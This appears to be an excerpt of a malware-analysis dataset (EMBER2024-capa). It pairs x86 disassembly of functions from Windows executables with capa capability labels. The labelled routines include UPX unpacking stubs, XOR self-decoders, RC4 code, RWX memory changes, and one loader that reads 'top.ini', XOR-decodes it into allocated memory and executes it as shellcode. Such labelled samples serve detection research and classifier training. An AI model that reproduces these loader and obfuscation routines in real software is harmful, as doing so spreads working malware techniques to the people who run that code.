joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100d5930
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x30
push esi
mov esi, dword [esp + 0x3c]
test byte [esi + 0x10], 0x10
jne 0x100d5b1d
test byte [esi + 0x90], 0x40
je 0x100d5b1d
mov eax, dword [esp + 0x38]
mov dword [esp + 0x3c], 0
mov edx, dword [eax + 0x74]
mov ecx, dword [edx + 0xc]
test ecx, ecx
je 0x100d5968
mov ecx, dword [ecx + 8]
push ecx
lea ecx, [esp + 0x40]
push ecx
push 0x25cc
push dword [eax + 0x78]
push eax
mov eax, dword [edx + 0x1c]
call eax
add esp, 0x14
test eax, eax
je 0x100d5b1d
mov al, byte [esp + 0x44]
xorps xmm0, xmm0
mov dword [esp + 0x1c], 0
movzx edx, byte [esp + 0x1f]
mov byte [esp + 0x1e], al
mov eax, dword [esp + 0x4c]
cmp eax, 0xffffffff
movzx ecx, al
mov eax, dword [esp + 0x3c]
cmovne edx, ecx
push edi
mov edi, dword [esi + 0x44]
mov byte [esp + 0x23], dl
mov word [esi + 0x3e], 1
mov dword [esi + 0x48], 0
mov dword [esi + 0x40], 0
mov dword [esp + 8], 0
movups xmmword [esp + 0x10], xmm0
mov dword [esp + 0x10], eax
mov eax, dword [esi + 0x50]
mov dword [esi + 0x54], eax
test edi, edi
je 0x100d5b0e
movups xmm0, xmmword [esp + 0x10]
push ebx
xor ecx, ecx
push ebp
mov bl, byte [esi + 0x3c]
test bl, bl
je 0x100d5b0c
mov edx, dword [esi + 0x50]
lea eax, [ecx + ecx*4]
mov bh, byte [edx + eax*4 + 0xf]
lea ebp, [edx + eax*4]
movzx eax, bh
mov dword [esp + 0x14], eax
cmp dword [esp + 0x10], eax
je 0x100d5af2
and eax, 0xf
cmp eax, dword [esp + 0x4c]
jne 0x100d5af2
cmp dword [esp + 0x54], 0xffffffff
mov eax, dword [esp + 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x28]
movups xmmword [esp + 0x2c], xmm0
mov dword [esp + 0x3c], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x34], eax
mov eax, dword [ebp + 4]
mov dword [esp + 0x30], eax
mov byte [esp + 0x3b], bh
je 0x100d5adf
cmp ecx, edi
jae 0x100d5adf
mov ebp, dword [esp + 0x14]
test bl, bl
je 0x100d5adf
lea eax, [ecx + ecx*4]
lea edi, [edx + eax*4]
movzx eax, byte [edi + 0xf]
cmp ebp, eax
jne 0x100d5adf
movzx eax, byte [edi + 0x12]
cmp eax, dword [esp + 0x54]
jne 0x100d5adf
cmp byte [esi + 0x3e], 0
je 0x100d5ad1
cmp dword [esi + 0x54], edx
jne 0x100d5a90
cmp dword [esi + 0x48], ecx
je 0x100d5acb
push 1
push 1
mov ecx, esi
call fcn.100e2190
mov edx, dword [esi + 0x50]
test al, al
je 0x100d5aed
mov eax, dword [esi + 0x40]
lea eax, [eax + eax*4]
movups xmm0, xmmword [edx + eax*4]
lea edx, [edx + eax*4]
mov eax, dword [esi + 0x48]
lea ecx, [eax + eax*4]
mov eax, dword [esi + 0x54]
movups xmmword [eax + ecx*4], xmm0
lea ecx, [eax + ecx*4]
mov eax, dword [edx + 0x10]
mov dword [ecx + 0x10], eax
mov edx, dword [esi + 0x50]
mov ecx, dword [esi + 0x40]
inc dword [esi + 0x48]
mov bl, byte [esi + 0x3c]
lea eax, [ecx + 1]
mov dword [esi + 0x40], eax
mov ecx, dword [esi + 0x40]
cmp ecx, dword [esi + 0x44]
jb 0x100d5a64
lea eax, [esp + 0x2c]
mov ecx, esi
push eax
call fcn.100e40a0
jmp 0x100d5af9
mov bl, byte [esi + 0x3c]
jmp 0x100d5ad7
mov ecx, esi
call fcn.100e3b90
mov ecx, dword [esi + 0x40]
mov edi, dword [esi + 0x44]
movups xmm0, xmmword [esp + 0x18]
cmp ecx, edi
jb 0x100d59f4
pop ebp
pop ebx
mov ecx, esi
call fcn.100fc0c0
pop edi
mov al, 1
pop esi
add esp, 0x30
ret
xor al, al
pop esi
add esp, 0x30
ret
Function at 0x100f9fa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0x10]
mov edx, 0x100
movzx ecx, byte [esi]
movzx eax, byte [esi + 1]
imul ecx, edx
add cx, ax
jne 0x100f9fce
movzx ecx, byte [esi + 2]
movzx eax, byte [esi + 3]
imul ecx, edx
add cx, ax
je 0x100fa1d8
mov edx, dword [esp + 0xc]
mov ecx, dword [edx + 0xa8]
lea eax, [ecx + 1]
mov dword [edx + 0xa8], eax
cmp ecx, 0x1f4
ja 0x100fa1d8
push ebx
push edi
mov edi, esi
lea ebx, [edx + 0x4c]
sub edi, dword [edx]
mov ecx, ebx
push edi
call fcn.100c50d0
mov cl, byte [ebx + 0x24]
xor al, cl
jne 0x100fa1d6
test cl, cl
mov ecx, ebx
push edi
je 0x100fa017
call fcn.100bdbf0
jmp 0x100fa01c
call fcn.100ade70
push ebp
mov ebp, dword [esp + 0x20]
test ebp, ebp
jne 0x100fa0e7
movzx ecx, byte [esi]
mov edx, 0x100
movzx eax, byte [esi + 1]
mov ebp, dword [esp + 0x18]
imul ecx, edx
add cx, ax
je 0x100fa055
movzx eax, cx
add eax, esi
push eax
push ebp
call fcn.100e18e0
add esp, 8
mov edx, 0x100
movzx ebx, byte [esi + 2]
mov edi, 0
movzx eax, byte [esi + 3]
shl ebx, 8
add ebx, eax
je 0x100fa1d5
nop dword [eax]
cmp edi, 0xffff
jne 0x100fa087
movzx ecx, byte [esi]
movzx eax, dx
imul ecx, eax
movzx eax, byte [esi + 1]
jmp 0x100fa0b7
movzx ecx, byte [esi + 2]
movzx eax, byte [esi + 3]
shl ecx, 8
add ecx, eax
cmp edi, ecx
jb 0x100fa09f
mov edx, 0x10161c94
jmp 0x100fa0a8
lea edx, [edi + 2]
lea edx, [edi + edx*2]
lea edx, [esi + edx*2]
movzx ecx, byte [edx]
mov eax, 0x100
imul ecx, eax
movzx eax, byte [edx + 1]
add cx, ax
xor eax, eax
cmp ax, cx
jne 0x100fa0c8
mov eax, 0x101601a8
jmp 0x100fa0cd
movzx eax, cx
add eax, esi
push eax
push ebp
call fcn.100e18e0
inc edi
add esp, 8
mov edx, 0x100
cmp edi, ebx
jb 0x100fa070
pop ebp
pop edi
pop ebx
pop esi
pop ecx
ret
mov ebp, dword [ebp]
test ebp, ebp
je 0x100fa1d5
movzx ecx, byte [esi + 2]
xor ebx, ebx
movzx eax, byte [esi + 3]
shl ecx, 8
add ecx, eax
movzx eax, cx
mov dword [esp + 0x10], eax
lea edi, [eax - 1]
test edi, edi
js 0x100fa1c0
lea eax, [edi + ebx]
shr eax, 1
lea ecx, [eax + eax*2]
add ecx, ecx
mov dword [esp + 0x1c], ecx
movzx edx, byte [ecx + esi + 5]
movzx ecx, byte [ecx + esi + 4]
shl ecx, 8
add edx, ecx
mov ecx, dword [esp + 0x1c]
shl edx, 8
movzx ecx, byte [ecx + esi + 6]
add edx, ecx
mov ecx, dword [esp + 0x1c]
shl edx, 8
movzx ecx, byte [ecx + esi + 7]
add ecx, edx
cmp ebp, ecx
jae 0x100fa155
lea edi, [eax - 1]
jmp 0x100fa15a
je 0x100fa160
lea ebx, [eax + 1]
cmp ebx, edi
jle 0x100fa113
jmp 0x100fa1c0
cmp eax, 0xffff
jne 0x100fa178
movzx ecx, byte [esi]
mov eax, 0x100
imul ecx, eax
movzx eax, byte [esi + 1]
jmp 0x100fa19d
cmp eax, dword [esp + 0x10]
jb 0x100fa185
mov edx, 0x10161c94
jmp 0x100fa18e
mov edx, dword [esp + 0x1c]
add edx, 8
add edx, esi
movzx ecx, byte [edx]
mov eax, 0x100
imul ecx, eax
movzx eax, byte [edx + 1]
add cx, ax
xor eax, eax
cmp ax, cx
jne 0x100fa1ae
mov eax, 0x101601a8
jmp 0x100fa1b3
movzx eax, cx
add eax, esi
push eax
push dword [esp + 0x1c]
call fcn.100e18e0
add esp, 8
mov eax, dword [esp + 0x20]
add eax, 4
mov dword [esp + 0x20], eax
mov ebp, dword [eax]
test ebp, ebp
jne 0x100fa0f2
pop ebp
pop edi
pop ebx
pop esi
pop ecx
ret
Function at 0x100011b9
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, 1
jmp 0x100030d8
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 0xc], 0
jne 0x10001993
jmp 0x10001839
mov eax, 1
jmp 0x100030d8
xor eax, eax
jmp 0x100030d8
xor eax, eax
jmp 0x100030d8
push 0x1c
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
jmp 0x10002613
xor eax, eax
jmp 0x100030d8
test eax, eax
jne 0x1000335f
jmp 0x100017a5
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 8]
and edx, 0xffffff80
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
and eax, 0x80
je 0x100068af
jmp 0x100014a2
test eax, eax
jne 0x1000117a
jmp 0x10001a2a
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
or edx, 0x40
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
jmp 0x10004565

Function at 0x10001a90
Capabilities:
Get system information on windows

Disassembly:
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x18]
jae 0x10004723
jmp 0x1000268f
add esp, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0
jmp 0x10001111
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
jmp 0x10001111
push ebp
mov ebp, esp
sub esp, 0x40
mov byte [ebp - 1], 0
cmp dword [0x10001dee], 0
jne 0x100024d2
jmp 0x10001e8c
jmp 0x100030c6
mov eax, fcn.10001a90
sub eax, dword [fcn.10001a90]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [0x1000212f]
mov dword [ebp - 0xc], ecx
lea edx, [ebp - 0x40]
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
jmp 0x1000461a
add esp, 8
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.10001d64
jmp 0x10001122
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x24]
and ecx, 0x10000000
je 0x1000387d
jmp 0x100037ef
mov esp, ebp
pop ebp
ret
add esp, 8
and eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 8]
add edx, 0x28
mov dword [ebp - 8], edx
jmp 0x10001222
mov edx, dword [ebp - 8]
add edx, 0x28
mov dword [ebp - 8], edx
jmp 0x10001222
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0xc]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.100011b9
jmp 0x10003781
mov eax, dword [ebp - 0x3c]
sub eax, 1
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.100011b9
jmp 0x100024fb
mov dword [0x10001dee], 0
jmp 0x100030c6
Function at 0x408020
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5000]
push edi
or ebp, 0xffffffff
jmp 0x408042
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x408049
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x408038
mov eax, 1
add ebx, ebx
jne 0x40805b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x408050
jne 0x40806c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x408050
xor ecx, ecx
sub eax, 3
jb 0x408080
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4080f2
mov ebp, eax
add ebx, ebx
jne 0x40808b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x408098
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4080bc
inc ecx
add ebx, ebx
jne 0x4080a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40809d
jne 0x4080b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40809d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4080dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4080cd
jmp 0x40803e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4080dc
add edi, ecx
jmp 0x40803e
pop esi
mov edi, esi
mov ecx, 0x29
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4080fa
cmp byte [edi], 1
jne 0x4080fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4080ff
lea edi, [esi + 0x6000]
mov eax, dword [edi]
or eax, eax
je 0x40816e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x9110]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x914c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40812c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9154]
or eax, eax
je 0x408168
mov dword [ebx], eax
add ebx, 4
jmp 0x408149
call dword [esi + 0x9150]
mov ebp, dword [esi + 0x9158]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1e7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4081a2
sub esp, 0xffffff80
jmp 0x402550

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10

Function at 0x40180b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40184a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40184a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40184a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40184a
cmp dword [ecx + 0x74], 0xe
jbe 0x40184a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x923c80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x68200d
lea edi, [esi - 0x28100d]
push edi
or ebp, 0xffffffff
jmp 0x923ca2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x923ca9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x923c98
mov eax, 1
add ebx, ebx
jne 0x923cbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x923cb0
jne 0x923ccc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x923cb0
xor ecx, ecx
sub eax, 3
jb 0x923ce0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x923d52
mov ebp, eax
add ebx, ebx
jne 0x923ceb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x923cf8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x923d1c
inc ecx
add ebx, ebx
jne 0x923d08
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x923cfd
jne 0x923d19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x923cfd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x923d3c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x923d2d
jmp 0x923c9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x923d3c
add edi, ecx
jmp 0x923c9e
pop esi
mov edi, esi
mov ecx, 0x1687
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x923d5a
cmp byte [edi], 0x11
jne 0x923d5a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x923d5f
lea edi, [esi + 0x51f000]
mov eax, dword [edi]
or eax, eax
je 0x923dce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x52b164]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x52b1bc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x923d8c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x52b1c4]
or eax, eax
je 0x923dc8
mov dword [ebx], eax
add ebx, 4
jmp 0x923da9
call dword [esi + 0x52b1c0]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x923dff
cmp al, 0xef
ja 0x923df2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x923dd4
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x923de1
mov ebp, dword [esi + 0x52b1c8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x197]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x923e33
sub esp, 0xffffff80
jmp 0x40d77c
Function at 0x4e1ce0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6c000]
push edi
jmp 0x4e1cfa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4e1d01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e1cf0
mov eax, 1
add ebx, ebx
jne 0x4e1d13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4e1d24
jne 0x4e1d43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e1d43
dec eax
add ebx, ebx
jne 0x4e1d30
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4e1d08
add ebx, ebx
jne 0x4e1d3f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4e1d95
xor ecx, ecx
sub eax, 3
jb 0x4e1d5b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4e1dca
sar eax, 1
mov ebp, eax
jmp 0x4e1d66
add ebx, ebx
jne 0x4e1d66
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e1d34
inc ecx
add ebx, ebx
jne 0x4e1d74
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e1d34
add ebx, ebx
jne 0x4e1d81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4e1d76
jne 0x4e1d92
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4e1d76
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4e1db4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4e1da6
jmp 0x4e1cf6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4e1db4
add edi, ecx
jmp 0x4e1cf6
pop esi
mov edi, esi
mov ecx, 0x303a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4e1dd2
cmp byte [edi], 0x11
jne 0x4e1dd2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4e1dd7
lea edi, [esi + 0xdf000]
mov eax, dword [edi]
or eax, eax
je 0x4e1e46
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe26ec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe2884]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4e1e04
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe288c]
or eax, eax
je 0x4e1e40
mov dword [ebx], eax
add ebx, 4
jmp 0x4e1e21
call dword [esi + 0xe2888]
mov ebp, dword [esi + 0xe2890]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4e1e7a
sub esp, 0xffffff80
jmp 0x462f5a

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x105f1000
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
mov al, byte [0x105dc158]
test eax, eax
je 0x105f101d
mov cl, byte [0x105dc608]
or cl, 1
mov byte [0x105dc608], cl
cmp dword [0x105dc130], 0
je 0x105f1035
mov dl, byte [0x105dc608]
or dl, 8
mov byte [0x105dc608], dl
xor eax, eax
mov al, byte [0x105dc608]
test eax, eax
je 0x105f109f
cmp dword [0x105dc13c], 0
je 0x105f1059
push 0x105dedfc
push 0x105dee00
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov ecx, dword [0x105eb454]
push ecx
mov dl, byte [0x105dc608]
push edx
push 0x105dc3b0
push 0x105dc158
mov eax, dword [0x105dc140]
push eax
mov ecx, dword [0x105dc13c]
push ecx
mov edx, dword [0x105dc138]
push edx
mov eax, dword [0x105dc134]
push eax
mov ecx, dword [0x105dc130]
push ecx
push 0x105dc128
call fcn.105f4498
add esp, 0x28
pop ebp
ret
Function at 0x105f275f
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov word [ebp - 8], 0
call fcn.105f3a78
mov word [ebp - 4], ax
cmp dword [0x105eb570], 0
je 0x105f2789
mov dword [0x105ebb44], 0
jmp 0x105f2793
mov dword [0x105ebb44], 1
cmp dword [0x105ebb44], 0
je 0x105f2993
cmp dword [0x105dedf8], 1
je 0x105f27ba
mov eax, dword [0x105dedf4]
cmp eax, dword [0x105dedf0]
jne 0x105f292c
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 5
idiv ecx
add edx, 1
mov dword [0x105dedf0], edx
mov dword [0x105dedf4], 1
mov edx, dword [0x105ed818]
and edx, 0x1f3
mov dword [0x105eb550], edx
mov eax, dword [0x105eb550]
mov ecx, dword [eax*4 + 0x105db010]
xor ecx, 0xfd0699d6
mov dword [0x105eb540], ecx
mov dword [0x105eb544], 0
push 4
push 0
push 0x105eb544
push 0x105eb540
movzx dx, byte [0x105db00d]
push edx
push 0x105eb6ac
call fcn.105f5480
mov word [ebp - 4], ax
mov eax, dword [ebp - 4]
and eax, 0xffff
test eax, eax
jne 0x105f2876
mov ecx, dword [0x105eb544]
xor ecx, 0x7b2309a7
mov edx, dword [0x105eb550]
xor ecx, dword [edx*4 + 0x105db7e0]
test ecx, ecx
je 0x105f2920
xor eax, eax
mov al, byte [0x105ddf6a]
cmp eax, 0x31
jne 0x105f2888
mov word [ebp - 4], 3
xor ecx, ecx
mov cl, byte [0x105ddf6a]
cmp ecx, 0x32
je 0x105f28a2
xor edx, edx
mov dl, byte [0x105ddf6a]
cmp edx, 0x33
jne 0x105f28a8
mov word [ebp - 4], 0
mov dword [0x105dedf8], 1
cmp dword [0x105eb594], 0
jne 0x105f291e
xor eax, eax
mov al, byte [0x105ddf6a]
cmp eax, 0x32
je 0x105f28d4
xor ecx, ecx
mov cl, byte [0x105ddf6a]
cmp ecx, 0x33
jne 0x105f291e
mov edx, dword [0x105eb69c]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov dword [0x105eb54c], 0xc
push 0x2010
call fcn.105f10a1
push eax
call fcn.105f38db
add esp, 8
mov dword [0x105eb54c], 0
mov eax, dword [0x105eb69c]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [0x105eb594], 1
jmp 0x105f292a
mov dword [0x105dedf8], 0
jmp 0x105f2991
mov ecx, dword [0x105dedf4]
add ecx, 1
mov dword [0x105dedf4], ecx
mov edx, dword [0x105ed818]
mov dword [0x105eb540], edx
mov dword [0x105eb544], 0
push 4
push 0
push 0x105eb544
push 0x105eb540
push 0
push 0x105eb6ac
call fcn.105f5480
mov word [ebp - 4], ax
mov eax, dword [ebp - 4]
and eax, 0xffff
test eax, eax
jne 0x105f298b
mov ecx, dword [0x105eb544]
xor ecx, dword [0x105ed818]
test ecx, ecx
je 0x105f2991
